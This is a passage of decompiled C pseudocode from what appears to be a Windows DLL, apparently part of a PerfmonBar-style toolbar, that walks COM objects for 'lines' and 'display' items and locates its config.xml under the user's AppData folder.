				void* _t1383;
				signed int _t1384;
				void* _t1385;
				signed int _t1386;
				void* _t1387;
				signed int _t1388;
				signed int _t1389;
				signed int _t1393;
				signed int _t1394;
				signed int* _t1398;
				signed int _t1401;
				signed int _t1404;
				signed int _t1405;
				signed int _t1408;
				signed int _t1409;
				signed int _t1416;
				signed int _t1419;
				signed int _t1420;
				signed int _t1423;
				signed int _t1424;
				signed int _t1429;
				void* _t1430;
				signed int _t1431;
				signed int _t1435;
				signed int _t1436;
				signed int _t1439;
				signed int _t1440;
				signed int _t1445;
				void* _t1446;
				signed int _t1447;
				signed int _t1451;
				signed int _t1452;
				signed int _t1455;
				signed int _t1456;
				signed int* _t1460;
				signed int _t1461;
				signed int _t1462;
				signed int _t1465;
				signed int _t1466;
				signed int _t1469;
				signed int _t1470;
				signed int _t1476;
				signed int _t1480;
				short* _t1482;
				int _t1483;
				signed int _t1485;
				signed int _t1486;
				signed int _t1487;
				signed int _t1489;
				signed int _t1496;
				signed int _t1498;
				int _t1508;
				signed int _t1511;
				signed int _t1512;
				signed int* _t1530;
				signed int _t1532;
				signed int _t1535;
				signed int _t1536;
				signed int _t1539;
				short* _t1541;
				int _t1542;
				signed int _t1544;
				signed int _t1545;
				signed int _t1546;
				signed int _t1548;
				signed int* _t1556;
				signed int* _t1558;
				void* _t1559;
				int _t1560;
				signed int* _t1561;
				void* _t1565;
				void* _t1566;
				signed int _t1567;
				void* _t1571;
				intOrPtr* _t1576;
				signed int _t1578;
				int _t1581;
				int _t1585;
				int _t1590;
				signed int _t1591;
				void* _t1592;
				void* _t1594;
				short _t1596;
				void* _t1597;
				signed int _t1598;
				signed int _t1599;
				short _t1600;
				void* _t1601;
				signed int _t1602;
				signed int _t1603;
				signed int _t1604;
				signed int _t1605;
				signed int _t1606;
				signed int _t1607;
				short _t1608;
				void* _t1609;
				signed int _t1610;
				signed int _t1611;
				signed int _t1612;
				signed int _t1613;
				signed int _t1614;
				short _t1616;
				void* _t1617;
				int _t1618;
				short _t1620;
				void* _t1621;
				void* _t1622;
				signed int _t1624;
				signed int _t1625;
				signed int _t1626;
				signed int* _t1627;
				signed int _t1629;
				signed int _t1630;
				signed int _t1631;
				signed int _t1632;
				signed int _t1633;
				signed int* _t1634;
				signed int _t1635;
				signed int _t1636;
				intOrPtr* _t1641;
				int _t1647;
				signed int _t1648;
				signed int _t1656;
				signed int _t1657;
				intOrPtr* _t1668;
				intOrPtr _t1673;
				signed int _t1674;
				void* _t1675;
				signed int _t1676;
				signed int _t1683;
				signed int _t1685;
				signed int _t1695;
				signed int _t1702;
				signed int _t1704;
				signed int _t1706;
				signed int _t1708;
				signed int _t1710;
				signed int _t1712;
				signed int _t1726;
				signed int _t1733;
				signed int _t1741;
				void* _t1748;
				void* _t1749;
				signed int _t1750;
				signed int _t1765;
				signed int _t1767;
				signed int _t1769;
				signed int _t1771;
				signed int _t1775;
				signed int _t1785;
				signed int _t1805;
				intOrPtr _t1821;
				void* _t1824;
				signed int _t1825;
				void* _t1829;
				signed int _t1831;
				signed int _t1832;
				void* _t1833;
				void* _t1834;
				signed int _t1835;
				short* _t1837;
				intOrPtr _t1838;
				void* _t1839;
				short* _t1841;
				intOrPtr* _t1842;
				void* _t1843;
				void* _t1844;
				void* _t1845;
				signed int _t1846;
				void* _t1847;
				signed int _t1848;
				void* _t1849;
				int* _t1850;
				intOrPtr* _t1851;
				int* _t1852;
				int _t1854;
				signed int _t1855;
				signed int* _t1857;
				int _t1859;
				signed int _t1860;
				signed int _t1862;
				void* _t1863;
				int _t1864;
				intOrPtr _t1865;
				void* _t1866;
				signed int _t1867;
				signed int _t1868;
				signed int _t1869;
				int _t1870;
				int _t1872;
				int _t1874;
				signed int _t1876;
				void* _t1877;
				signed int _t1878;
				signed int _t1879;
				signed int _t1880;
				signed int _t1881;
				signed int _t1882;
				signed int _t1883;
				void* _t1884;
				signed int _t1885;
				signed int _t1886;
				signed int _t1887;
				signed int _t1888;
				signed int _t1889;
				signed int _t1890;
				signed int _t1891;
				signed int _t1892;
				signed int _t1893;
				signed int _t1894;
				signed int _t1895;
				signed int _t1896;
				void* _t1897;
				signed int _t1898;
				void* _t1899;
				signed int _t1900;
				void* _t1901;
				signed int _t1902;
				void* _t1903;
				signed int _t1904;
				signed int _t1905;
				signed int _t1906;
				signed int _t1907;
				signed int _t1908;
				void* _t1909;
				void* _t1910;
				signed int _t1911;
				void* _t1912;
				signed int _t1914;
				signed int _t1915;
				signed int _t1916;
				signed int _t1917;
				signed int _t1918;
				signed int _t1920;
				signed int _t1923;
				signed int _t1932;
				signed int _t1933;
				signed int _t1934;
				signed int _t1937;
				signed int _t1939;
				void* _t1940;
				signed int _t1943;
				void* _t1945;
				signed int _t1951;
				signed int _t1952;
				long long _t1996;

				_t1996 = __fp0;
				_t1837 = __edi;
				_t1820 = __edx;
				_t1624 = __ecx;
				_t1590 = __ebx;
				_t1914 = _t1932;
				_push(0xffffffff);
				_push(0x6ed5878c);
				_push( *[fs:0x0]);
				_t1933 = _t1932 - 0x5c;
				_t951 =  *0x6ed6d008; // 0x3f169fae
				_t952 = _t951 ^ _t1914;
				_v20 = _t952;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t952);
				 *[fs:0x0] =  &_v16;
				_v96 = __edx;
				_v104 = __ecx;
				_v40 = 0;
				_v8 = 0;
				_t1854 =  *__ecx;
				if(_t1854 == 0) {
					L86:
					E6ED37500(0x80004003);
					goto L87;
				} else {
					_t1624 =  &_v40;
					_v8 = 0;
					_push(_t1624);
					_push(_t1854);
					_v40 = 0;
					if( *((intOrPtr*)( *_t1854 + 0x44))() < 0) {
						L80:
						_t1620 = 0;
						__eflags = 0;
						goto L81;
					} else {
						_t1530 = _v40;
						if(_t1530 == 0) {
							goto L86;
						} else {
							_t1624 =  *_t1530;
							_t1820 =  &_v44;
							_push(_t1820);
							_push(_t1530);
							if( *((intOrPtr*)(_t1624 + 0x2c))() < 0) {
								goto L80;
							} else {
								_t1532 = 0;
								_v36 = 0;
								_t1590 = 0;
								_v8 = 4;
								_t1837 = __imp__#6;
								_v92 = 0;
								if(_v44 <= 0) {
									L53:
									_v28 = 0;
									_v8 = 0x11;
									_t1624 =  *_v104;
									__eflags = _t1624;
									if(_t1624 == 0) {
										goto L86;
									} else {
										_t1820 =  &_v28;
										_v8 = 0x11;
										_v28 = 0;
										 *((intOrPtr*)( *_t1624 + 0x34))(_t1624, _t1820);
										_t1535 = _v28;
										__eflags = _t1535;
										if(_t1535 == 0) {
											L72:
											_t1620 = 1;
											goto L73;
										} else {
											_t1590 = MultiByteToWideChar;
											while(1) {
												_v32 = 0;
												_v8 = 0x13;
												__eflags = _t1535;
												if(_t1535 == 0) {
													goto L86;
												}
												_t1820 =  &_v32;
												_t1539 =  *((intOrPtr*)( *_t1535 + 0x1c))(_t1535, _t1820);
												__eflags = _t1539;
												if(_t1539 < 0) {
													L79:
													 *_t1837(_v32);
													_t1535 = _v28;
													_t1620 = 0;
													L73:
													_v8 = 0x20;
													__eflags = _t1535;
													if(_t1535 != 0) {
														 *((intOrPtr*)( *_t1535 + 8))(_t1535);
													}
													goto L75;
												} else {
													_t1541 = MultiByteToWideChar(3, 0, "lines", 0xffffffff, 0, 0);
													_t1854 = _t1541;
													_t84 = _t1854 - 1; // -1
													_t1624 = _t84;
													__imp__#4(0, _t1624);
													_t1837 = _t1541;
													__eflags = _t1837;
													if(_t1837 == 0) {
														L88:
														E6ED27B80(0x8007000e);
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t1914);
														_t1915 = _t1933;
														_push(0xffffffff);
														_push(0x6ed58810);
														_push( *[fs:0x0]);
														_t1934 = _t1933 - 0x6c;
														_t958 =  *0x6ed6d008; // 0x3f169fae
														_t959 = _t958 ^ _t1915;
														_v152 = _t959;
														_push(_t1590);
														_push(_t1854);
														_push(_t1837);
														_push(_t959);
														 *[fs:0x0] =  &_v148;
														_t1591 = _t1820;
														_v244 = _t1591;
														_v156 = 0;
														_v140 = 0;
														_t1625 =  *_t1624;
														__eflags = _t1625;
														if(_t1625 == 0) {
															L134:
															E6ED37500(0x80004003);
															goto L135;
														} else {
															_t1820 =  &_v28;
															_v12 = 0;
															_v28 = 0;
															 *((intOrPtr*)( *_t1625 + 0x34))(_t1625,  &_v28);
															_t1476 = _v28;
															__eflags = _t1476;
															if(_t1476 == 0) {
																L127:
																_t1616 = 1;
																goto L128;
															} else {
																_t1837 = __imp__#6;
																while(1) {
																	_v36 = 0;
																	_v12 = 2;
																	__eflags = _t1476;
																	if(_t1476 == 0) {
																		goto L134;
																	}
																	_t1820 =  &_v36;
																	_t1480 =  *((intOrPtr*)( *_t1476 + 0x1c))(_t1476,  &_v36);
																	__eflags = _t1480;
																	if(_t1480 < 0) {
																		L133:
																		 *_t1837(_v36);
																		_t1476 = _v28;
																		_t1616 = 0;
																		L128:
																		_v12 = 0x11;
																		__eflags = _t1476;
																		if(_t1476 != 0) {
																			 *((intOrPtr*)( *_t1476 + 8))(_t1476);
																		}
																		 *[fs:0x0] = _v20;
																		_pop(_t1847);
																		_pop(_t1910);
																		_pop(_t1617);
																		__eflags = _v24 ^ _t1915;
																		return E6ED34160(_t1616, _t1617, _v24 ^ _t1915, _t1820, _t1847, _t1910);
																	} else {
																		_t1482 = MultiByteToWideChar(3, 0, "line", 0xffffffff, 0, 0);
																		_t1854 = _t1482;
																		_t139 = _t1854 - 1; // -1
																		_t1625 = _t139;
																		__imp__#4(0, _t1625);
																		_t1837 = _t1482;
																		__eflags = _t1837;
																		if(_t1837 == 0) {
																			L138:
																			E6ED27B80(0x8007000e);
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			_push(_t1854);
																			_t1855 = _t1625;
																			_t1626 =  *(_t1855 + 0x14);
																			__eflags = _t1626 - 8;
																			if(_t1626 < 8) {
																				L144:
																				__eflags = 0;
																				 *(_t1855 + 0x10) = 0;
																				 *(_t1855 + 0x14) = 7;
																				 *_t1855 = 0;
																				return 0;
																			} else {
																				_t966 =  *_t1855;
																				_t1627 = 2 + _t1626 * 2;
																				__eflags = _t1627 - 0x1000;
																				if(_t1627 < 0x1000) {
																					L143:
																					_push(_t1627);
																					E6ED3416E(_t966);
																					goto L144;
																				} else {
																					_t1821 =  *((intOrPtr*)(_t966 - 4));
																					_t1627 =  &(_t1627[8]);
																					__eflags = _t966 - _t1821 + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						E6ED3D5F4(_t1591, _t1627, _t1821, __eflags);
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						_push(_t1855);
																						_t1857 = _t1627;
																						E6ED2B7E0(_t1591,  &(_t1857[0xa]), _t1821, _t1837, _t1857, _t1996);
																						_t1629 = _t1857[5];
																						__eflags = _t1629 - 8;
																						if(_t1629 < 8) {
																							L151:
																							__eflags = 0;
																							_t1857[4] = 0;
																							_t1857[5] = 7;
																							 *_t1857 = 0;
																							return 0;
																						} else {
																							_t973 =  *_t1857;
																							_t1630 = 2 + _t1629 * 2;
																							__eflags = _t1630 - 0x1000;
																							if(_t1630 < 0x1000) {
																								L150:
																								_push(_t1630);
																								E6ED3416E(_t973);
																								goto L151;
																							} else {
																								_t1822 =  *(_t973 - 4);
																								_t1630 = _t1630 + 0x23;
																								__eflags = _t973 - _t1822 + 0xfffffffc - 0x1f;
																								if(__eflags > 0) {
																									E6ED3D5F4(_t1591, _t1630, _t1822, __eflags);
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									asm("int3");
																									_push(_t1915);
																									_t1916 = _t1934;
																									_push(0xffffffff);
																									_push(0x6ed588d1);
																									_push( *[fs:0x0]);
																									_t1937 = _t1934 - 0xd4;
																									_t979 =  *0x6ed6d008; // 0x3f169fae
																									_t980 = _t979 ^ _t1916;
																									_v296 = _t980;
																									_push(_t1591);
																									_push(_t1857);
																									_push(_t1837);
																									_push(_t980);
																									 *[fs:0x0] =  &_v292;
																									_v448 = _t1822;
																									_t982 = _t1630;
																									_v496 = _t982;
																									_v316 = 0;
																									_v284 = 0;
																									_t1859 =  *_t982;
																									__eflags = _t1859;
																									if(__eflags == 0) {
																										L346:
																										E6ED37500(0x80004003);
																										goto L347;
																									} else {
																										_t1630 =  &_v48;
																										_v16 = 0;
																										_v48 = 0;
																										_t1318 =  *((intOrPtr*)( *_t1859 + 0x44))(_t1859, _t1630);
																										__eflags = _t1318;
																										if(_t1318 < 0) {
																											L340:
																											_t1608 = 0;
																											__eflags = 0;
																											goto L341;
																										} else {
																											_t1322 = _v48;
																											__eflags = _t1322;
																											if(__eflags == 0) {
																												goto L346;
																											} else {
																												_t1630 =  *_t1322;
																												_t1822 =  &_v52;
																												_t1323 =  *((intOrPtr*)(_t1630 + 0x2c))(_t1322,  &_v52);
																												__eflags = _t1323;
																												if(_t1323 < 0) {
																													goto L340;
																												} else {
																													_t1324 = 0;
																													_v44 = 0;
																													_t1591 = 0;
																													_v16 = 4;
																													_t1837 = __imp__#6;
																													_v224 = 0;
																													__eflags = _v52;
																													if(_v52 <= 0) {
																														L297:
																														_v36 = 0;
																														_v16 = 0x12;
																														_t1630 =  *_v228;
																														__eflags = _t1630;
																														if(__eflags == 0) {
																															goto L346;
																														} else {
																															_t1822 =  &_v36;
																															_v16 = 0x12;
																															_v36 = 0;
																															 *((intOrPtr*)( *_t1630 + 0x34))(_t1630,  &_v36);
																															_t1327 = _v36;
																															__eflags = _t1327;
																															if(_t1327 == 0) {
																																L332:
																																_t1608 = 1;
																																goto L333;
																															} else {
																																_t1591 = MultiByteToWideChar;
																																while(1) {
																																	_v40 = 0;
																																	_v16 = 0x14;
																																	__eflags = _t1327;
																																	if(__eflags == 0) {
																																		goto L346;
																																	}
																																	_t1822 =  &_v40;
																																	_t1331 =  *((intOrPtr*)( *_t1327 + 0x1c))(_t1327,  &_v40);
																																	__eflags = _t1331;
																																	if(_t1331 < 0) {
																																		L339:
																																		 *_t1837(_v40);
																																		_t1327 = _v36;
																																		_t1608 = 0;
																																		L333:
																																		_v16 = 0x24;
																																		__eflags = _t1327;
																																		if(_t1327 != 0) {
																																			 *((intOrPtr*)( *_t1327 + 8))(_t1327);
																																		}
																																		goto L335;
																																	} else {
																																		_t1333 = MultiByteToWideChar(3, 0, "display", 0xffffffff, 0, 0);
																																		_t1859 = _t1333;
																																		_t398 = _t1859 - 1; // -1
																																		_t1630 = _t398;
																																		__imp__#4(0, _t1630);
																																		_t1837 = _t1333;
																																		__eflags = _t1837;
																																		if(_t1837 == 0) {
																																			L349:
																																			E6ED27B80(0x8007000e);
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			asm("int3");
																																			_push(_t1859);
																																			_t1860 = _t1630;
																																			_t1631 =  *(_t1860 + 0x44);
																																			__eflags = _t1631 - 8;
																																			if(_t1631 < 8) {
																																				L355:
																																				 *(_t1860 + 0x40) = 0;
																																				 *(_t1860 + 0x44) = 7;
																																				 *(_t1860 + 0x30) = 0;
																																				_t1632 =  *(_t1860 + 0x2c);
																																				__eflags = _t1632 - 8;
																																				if(_t1632 < 8) {
																																					L360:
																																					 *(_t1860 + 0x28) = 0;
																																					 *(_t1860 + 0x2c) = 7;
																																					 *(_t1860 + 0x18) = 0;
																																					_t1633 =  *(_t1860 + 0x14);
																																					__eflags = _t1633 - 8;
																																					if(_t1633 < 8) {
																																						L365:
																																						__eflags = 0;
																																						 *(_t1860 + 0x10) = 0;
																																						 *(_t1860 + 0x14) = 7;
																																						 *_t1860 = 0;
																																						return 0;
																																					} else {
																																						_t989 =  *_t1860;
																																						_t1634 = 2 + _t1633 * 2;
																																						__eflags = _t1634 - 0x1000;
																																						if(_t1634 < 0x1000) {
																																							L364:
																																							_push(_t1634);
																																							E6ED3416E(_t989);
																																							goto L365;
																																						} else {
																																							_t1823 =  *(_t989 - 4);
																																							_t1634 =  &(_t1634[8]);
																																							__eflags = _t989 - _t1823 + 0xfffffffc - 0x1f;
																																							if(__eflags > 0) {
																																								goto L366;
																																							} else {
																																								_t989 = _t1823;
																																								goto L364;
																																							}
																																						}
																																					}
																																				} else {
																																					_t1309 =  *(_t1860 + 0x18);
																																					_t1748 = 2 + _t1632 * 2;
																																					__eflags = _t1748 - 0x1000;
																																					if(_t1748 < 0x1000) {
																																						L359:
																																						_push(_t1748);
																																						E6ED3416E(_t1309);
																																						_t1937 = _t1937 + 8;
																																						goto L360;
																																					} else {
																																						_t1823 =  *(_t1309 - 4);
																																						_t1634 = _t1748 + 0x23;
																																						__eflags = _t1309 - _t1823 + 0xfffffffc - 0x1f;
																																						if(__eflags > 0) {
																																							goto L366;
																																						} else {
																																							_t1309 = _t1823;
																																							goto L359;
																																						}
																																					}
																																				}
																																			} else {
																																				_t1313 =  *(_t1860 + 0x30);
																																				_t1749 = 2 + _t1631 * 2;
																																				__eflags = _t1749 - 0x1000;
																																				if(_t1749 < 0x1000) {
																																					L354:
																																					_push(_t1749);
																																					E6ED3416E(_t1313);
																																					_t1937 = _t1937 + 8;
																																					goto L355;
																																				} else {
																																					_t1823 =  *(_t1313 - 4);
																																					_t1634 = _t1749 + 0x23;
																																					__eflags = _t1313 - _t1823 + 0xfffffffc - 0x1f;
																																					if(__eflags > 0) {
																																						L366:
																																						E6ED3D5F4(_t1591, _t1634, _t1823, __eflags);
																																						asm("int3");
																																						asm("int3");
																																						asm("int3");
																																						asm("int3");
																																						asm("int3");
																																						asm("int3");
																																						_push(_t1916);
																																						_t1917 = _t1937;
																																						_push(0xffffffff);
																																						_push(0x6ed58972);
																																						_push( *[fs:0x0]);
																																						_t1939 = _t1937 - 0x7c;
																																						_t995 =  *0x6ed6d008; // 0x3f169fae
																																						_t996 = _t995 ^ _t1917;
																																						_v552 = _t996;
																																						_push(_t1591);
																																						_push(_t1860);
																																						_push(_t1837);
																																						_push(_t996);
																																						 *[fs:0x0] =  &_v548;
																																						_v616 = _t1823;
																																						_v564 = 0;
																																						_v540 = 0;
																																						_t1635 =  *_t1634;
																																						__eflags = _t1635;
																																						if(_t1635 == 0) {
																																							L547:
																																							E6ED37500(0x80004003);
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							asm("int3");
																																							_push(_t1917);
																																							_t1918 = _t1939;
																																							_push(0xffffffff);
																																							_push(0x6ed589ec);
																																							_push( *[fs:0x0]);
																																							_t1940 = _t1939 - 0x5c;
																																							_t1000 =  *0x6ed6d008; // 0x3f169fae
																																							_t1001 = _t1000 ^ _t1918;
																																							_v708 = _t1001;
																																							_push(_t1591);
																																							_push(_t1860);
																																							_push(_t1837);
																																							_push(_t1001);
																																							 *[fs:0x0] =  &_v704;
																																							_v788 = _t1823;
																																							_v716 = 0;
																																							_v696 = 0;
																																							_t1636 =  *_t1635;
																																							__eflags = _t1636;
																																							if(_t1636 == 0) {
																																								L633:
																																								E6ED37500(0x80004003);
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								_t1592 = _t1940;
																																								_t1943 = (_t1940 - 0x00000008 & 0xfffffff8) + 4;
																																								_v820 =  *((intOrPtr*)(_t1592 + 4));
																																								_t1920 = _t1943;
																																								_t1006 =  *0x6ed6d008 ^ _t1920;
																																								_v844 = _t1006;
																																								 *[fs:0x0] =  &_v836;
																																								_t1862 = _t1636;
																																								E6ED38400(_t1837,  &_v1368, 0, 0x208);
																																								_t1945 = _t1943 - 0x25c + 0xc;
																																								_t1010 =  &_v1368;
																																								__imp__SHGetFolderPathW(0, 0x1a, 0, 0, _t1010, _t1006, _t1860, _t1592,  *[fs:0x0], 0x6ed58a30, 0xffffffff, _t1918, _t1591);
																																								__eflags = _t1010;
																																								if(_t1010 < 0) {
																																									L653:
																																									 *[fs:0x0] = _v44;
																																									_pop(_t1863);
																																									__eflags = _v52 ^ _t1920;
																																									return E6ED34160(_t1010, _t1592, _v52 ^ _t1920, _t1823, _t1837, _t1863);
																																								} else {
																																									__eflags = 0;
																																									_v600 = 0;
																																									_t1641 =  &_v576;
																																									_v584 = 0;
																																									_v580 = 7;
																																									_t1824 = _t1641 + 2;
																																									_v600 = 0;
																																									do {
																																										_t1013 =  *_t1641;
																																										_t1641 = _t1641 + 2;
																																										__eflags = _t1013;
																																									} while (_t1013 != 0);
																																									_push(_t1641 - _t1824 >> 1);
																																									E6ED2B860(_t1592,  &_v600, _t1837, _t1862, _t1996,  &_v576);
																																									_push(0x16);
																																									_v36 = 0;
																																									_t1016 = E6ED2CC10( &_v600, _t1996, L"\\PerfmonBar\\config.xml");
																																									asm("movups xmm0, [eax]");
																																									asm("movq xmm1, [eax+0x10]");
																																									 *(_t1016 + 0x10) = 0;
																																									 *(_t1016 + 0x14) = 7;
																																									 *_t1016 = 0;
																																									asm("movq [ebp-0x240], xmm1");
																																									asm("movq [ebp-0x248], xmm1");
																																									asm("movups [ebp-0x268], xmm0");
																																									asm("movups [ebp-0x258], xmm0");
																																									__eflags = _t1862 -  &_v632;
																																									if(_t1862 ==  &_v632) {
																																										_t1825 = _v612;
																																										__eflags = _t1825 - 8;
																																										if(_t1825 < 8) {
																																											goto L648;
																																										} else {
																																											_t1673 = _v632;
																																											_t1829 = 2 + _t1825 * 2;
																																											_t1109 = _t1673;
																																											__eflags = _t1829 - 0x1000;
																																											if(_t1829 < 0x1000) {
																																												L647:
																																												_push(_t1829);
																																												E6ED3416E(_t1673);
																																												_t1945 = _t1945 + 8;
																																												goto L648;
																																											} else {
																																												_t1647 =  *(_t1673 - 4);
																																												_t1823 = _t1829 + 0x23;
																																												__eflags = _t1109 - _t1647 + 0xfffffffc - 0x1f;
																																												if(__eflags > 0) {
																																													goto L654;
																																												} else {
																																													goto L647;
																																												}
																																											}
																																										}
																																									} else {
																																										_t1674 =  *(_t1862 + 0x14);
																																										__eflags = _t1674 - 8;
																																										if(_t1674 < 8) {
																																											L643:
																																											asm("movups [esi], xmm0");
																																											asm("movq [esi+0x10], xmm1");
																																											L648:
																																											_t1823 = _v580;
																																											__eflags = _t1823 - 8;
																																											if(_t1823 < 8) {
																																												L652:
																																												_t1010 = 0;
																																												__eflags = 0;
																																												goto L653;
																																											} else {
																																												_t1647 = _v600;
																																												_t1823 = 2 + _t1823 * 2;
																																												_t1018 = _t1647;
																																												__eflags = _t1823 - 0x1000;
																																												if(_t1823 < 0x1000) {
																																													L651:
																																													_push(_t1823);
																																													E6ED3416E(_t1647);
																																													goto L652;
																																												} else {
																																													_t1647 =  *(_t1647 - 4);
																																													_t1823 = _t1823 + 0x23;
																																													__eflags = _t1018 - _t1647 + 0xfffffffc - 0x1f;
																																													if(__eflags > 0) {
																																														goto L654;
																																													} else {
																																														goto L651;
																																													}
																																												}
																																											}
																																										} else {
																																											_t1113 =  *_t1862;
																																											_t1675 = 2 + _t1674 * 2;
																																											__eflags = _t1675 - 0x1000;
																																											if(_t1675 < 0x1000) {
																																												L642:
																																												_push(_t1675);
																																												E6ED3416E(_t1113);
																																												asm("movups xmm0, [ebp-0x268]");
																																												_t1945 = _t1945 + 8;
																																												asm("movq xmm1, [ebp-0x240]");
																																												goto L643;
																																											} else {
																																												_t1823 =  *(_t1113 - 4);
																																												_t1647 = _t1675 + 0x23;
																																												__eflags = _t1113 - _t1823 + 0xfffffffc - 0x1f;
																																												if(__eflags > 0) {
																																													L654:
																																													E6ED3D5F4(_t1592, _t1647, _t1823, __eflags);
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													asm("int3");
																																													_push(_t1592);
																																													_t1594 = _t1945;
																																													_t1951 = (_t1945 - 0x00000008 & 0xfffffff8) + 4;
																																													_push(_t1920);
																																													_v1488 =  *((intOrPtr*)(_t1594 + 4));
																																													_t1923 = _t1951;
																																													_push(0xffffffff);
																																													_push(0x6ed58aa5);
																																													_push( *[fs:0x0]);
																																													_push(_t1594);
																																													_t1952 = _t1951 - 0x58;
																																													_t1024 =  *0x6ed6d008; // 0x3f169fae
																																													_t1025 = _t1024 ^ _t1923;
																																													_v1512 = _t1025;
																																													_push(_t1862);
																																													_push(_t1837);
																																													_push(_t1025);
																																													_t1026 =  &_v1504;
																																													 *[fs:0x0] = _t1026;
																																													_t1864 = _t1647;
																																													_v1576 = _t1864;
																																													__eflags =  *0x6ed6f380;
																																													if( *0x6ed6f380 == 0) {
																																														__imp__CoInitialize(0);
																																														__eflags = _t1026;
																																														_t1823 =  >=  ? 1 :  *0x6ed6f380 & 0x000000ff;
																																														 *0x6ed6f380 =  >=  ? 1 :  *0x6ed6f380 & 0x000000ff;
																																													}
																																													_t1648 =  *(_t1864 + 8);
																																													__eflags = _t1648;
																																													if(_t1648 != 0) {
																																														__eflags =  *(_t1864 + 0x1c) >> 3 - _t1648;
																																														if( *(_t1864 + 0x1c) >> 3 <= _t1648) {
																																															E6ED2C400(_t1594,  *((intOrPtr*)(_t1864 + 4)), _t1837, _t1864, _t1996);
																																															 *((intOrPtr*)( *((intOrPtr*)(_t1864 + 4)))) =  *((intOrPtr*)(_t1864 + 4));
																																															 *((intOrPtr*)( *((intOrPtr*)(_t1864 + 4)) + 4)) =  *((intOrPtr*)(_t1864 + 4));
																																															 *(_t1864 + 8) = 0;
																																															_t1823 =  *(_t1864 + 0x10);
																																															_v124 =  *((intOrPtr*)(_t1864 + 4));
																																															E6ED2BFC0( *((intOrPtr*)(_t1864 + 0xc)),  *(_t1864 + 0x10),  &_v124);
																																															_t1952 = _t1952 + 4;
																																														} else {
																																															E6ED2B5B0(_t1864,  *((intOrPtr*)( *((intOrPtr*)(_t1864 + 4)))),  *((intOrPtr*)(_t1864 + 4)));
																																														}
																																													}
																																													_t1838 =  *((intOrPtr*)(_t1864 + 0x24));
																																													_t1027 = _t1864 + 0x20;
																																													_t1865 =  *_t1027;
																																													_v124 = _t1027;
																																													__eflags = _t1865 - _t1838;
																																													if(_t1865 != _t1838) {
																																														do {
																																															E6ED2B760(_t1594, _t1865 + 4, _t1838, _t1865, _t1996);
																																															_t1865 = _t1865 + 0x10;
																																															__eflags = _t1865 - _t1838;
																																														} while (_t1865 != _t1838);
																																														_t1027 = _v124;
																																														_t1865 =  *_t1027;
																																													}
																																													 *((intOrPtr*)(_t1027 + 4)) = _t1865;
																																													_v80 = 0;
																																													_t1028 =  &_v116;
																																													_v48 = 1;
																																													__imp__CoCreateInstance(0x6ed5a3c0, 0, 0x17, 0x6ed65b60, _t1028);
																																													__eflags = _t1028;
																																													if(_t1028 < 0) {
																																														L725:
																																														_t1029 = 0;
																																														__eflags = 0;
																																														_v80 = 0;
																																														_v117 = 0;
																																														goto L726;
																																													} else {
																																														__imp__OleRun(_v116);
																																														_t1867 = _t1028;
																																														__eflags = _t1867;
																																														if(_t1867 >= 0) {
																																															_t1668 = _v116;
																																															_t1823 =  &_v80;
																																															_t1867 =  *((intOrPtr*)( *_t1668))(_t1668, 0x6ed65b50,  &_v80);
																																														}
																																														_t1033 = _v116;
																																														 *((intOrPtr*)( *_t1033 + 8))(_t1033);
																																														__eflags = _t1867;
																																														if(_t1867 < 0) {
																																															goto L725;
																																														} else {
																																															_v108 = 0;
																																															_v92 = 0;
																																															_v88 = 7;
																																															_v108 = 0;
																																															_v48 = 4;
																																															L634();
																																															__eflags = 0;
																																															if(0 != 0) {
																																																L719:
																																																_v117 = 0;
																																																goto L720;
																																															} else {
																																																_t1868 = _v80;
																																																__eflags = _t1868;
																																																if(__eflags == 0) {
																																																	L732:
																																																	E6ED37500(0x80004003);
																																																	goto L733;
																																																} else {
																																																	__eflags = _v88 - 8;
																																																	_t1841 =  >=  ? _v108 :  &_v108;
																																																	_v116 =  *((intOrPtr*)( *_t1868 + 0xe8));
																																																	_v148 = 8;
																																																	__imp__#2(_t1841);
																																																	_v140 = 8;
																																																	__eflags = 8;
																																																	if(8 != 0) {
																																																		L673:
																																																		_v48 = 6;
																																																		asm("movups xmm0, [ebp-0x68]");
																																																		_t1952 = _t1952 - 0x10;
																																																		asm("movups [eax], xmm0");
																																																		_t1869 = _v116(_t1868,  &_v112);
																																																		__imp__#9( &_v148);
																																																		__eflags = _t1869;
																																																		if(_t1869 != 0) {
																																																			goto L719;
																																																		} else {
																																																			_v76 = _t1869;
																																																			_v48 = 8;
																																																			_t1055 = _v80;
																																																			__eflags = _t1055;
																																																			if(__eflags == 0) {
																																																				goto L732;
																																																			} else {
																																																				_t1656 =  *_t1055;
																																																				_t1823 =  &_v76;
																																																				_v48 = 8;
																																																				_v76 = _t1869;
																																																				_t1056 =  *((intOrPtr*)(_t1656 + 0xb4))(_t1055,  &_v76);
																																																				__eflags = _t1056;
																																																				if(_t1056 >= 0) {
																																																					_v84 = 0;
																																																					_v48 = 0xc;
																																																					_t1057 = _v76;
																																																					__eflags = _t1057;
																																																					if(__eflags == 0) {
																																																						goto L732;
																																																					} else {
